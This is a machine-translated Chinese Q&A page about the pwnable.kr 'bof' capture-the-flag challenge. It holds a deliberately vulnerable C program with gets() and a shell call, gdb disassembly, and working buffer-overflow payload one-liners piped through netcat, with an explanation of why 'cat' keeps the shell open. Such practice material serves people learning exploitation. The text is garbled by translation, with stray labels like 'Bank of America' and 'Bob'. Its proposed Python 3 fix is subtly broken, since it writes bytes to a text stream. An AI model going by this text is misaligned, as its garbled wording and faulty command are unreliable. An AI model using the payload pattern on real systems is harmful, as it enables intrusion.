c - 为什么要使用 cat 打开交互式 shell?
问题描述
(没有下载链接再问)
问题描述
Nana 告诉我缓冲区溢出是最常见的软件漏洞之一。真的吗?
美国银行
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
鲍勃
(gdb) disassemble main
Dump of assembler code for function main:
0x0000068a <+0>: push %ebp
0x0000068b <+1>: mov %esp,%ebp
0x0000068d <+3>: and $0xfffffff0,%esp
0x00000690 <+6>: sub $0x10,%esp
0x00000693 <+9>: movl $0xdeadbeef,(%esp)
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov $0x0,%eax
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
0x0000062c <+0>: push %ebp
0x0000062d <+1>: mov %esp,%ebp
0x0000062f <+3>: sub $0x48,%esp
0x00000632 <+6>: mov %gs:0x14,%eax
0x00000638 <+12>: mov %eax,-0xc(%ebp)
0x0000063b <+15>: xor %eax,%eax
0x0000063d <+17>: movl $0x78c,(%esp)
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea -0x2c(%ebp),%eax
0x0000064c <+32>: mov %eax,(%esp)
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: movl $0x79b,(%esp)
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: movl $0x7a3,(%esp)
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov -0xc(%ebp),%eax
0x0000067a <+78>: xor %gs:0x14,%eax
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
解决方案
https://0xrick.github.io/pwn/bof/
我知道我们必须提供 52 个垃圾字符和 cafebabe 才能溢出缓冲区。但是当我只将它作为输入传递时,我没有得到交互式外壳。只有当我也传入 cat 命令时。为什么需要猫??
- -编辑 - -
我忘了提到这是在服务器上运行的,我使用nc pwnable.kr 9000
. 我将输入作为python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
. 据说正确答案是(python -c 'print("A"*52 + "\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000
解决方案
这里首先要了解的是管道的概念。当你运行命令时
python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
shell 创建一个管道,并启动两个进程:python 和 nc。Python 的输出连接(重定向)到管道输入,管道输出连接到 netcat。外壳不保留对管道的引用。的输出nc
仍然连接到终端,python 的输入也是如此。当 python 在打印数据后终止时,内核关闭它的文件描述符,并且管道在关闭其输入后将在管道中剩余所有缓冲数据之后立即向读取器报告 EOF。管道可以做的另一件事是无限期地挂起,但这毫无意义。
想象一下以下管道:
echo 123 | tail
由于定义明确的语义,它的行为方式必须与您的完全相同。每当 tail 的输入结束时,它都不会从终端读取任何内容。
第二个问题是,如果您python
指向 Python 3 安装(现在很可能至少有几年),您使用 unicode 字符串而不是字节字符串。该问题在官方 pwntools 教程中进行了深入描述:
https ://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md
所以你应该做
python -c 'import sys; sys.stdout.write(b"A"*52 + b"\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
那是因为在 python 3 中你的代码意味着
python -c 'print("A"*52 + "\u00be\u00ba\u00fe\u00ca")' | nc pwnable.kr 9000
这只会产生一些以 UTF-8 打印的不相关的 Unicode 字符。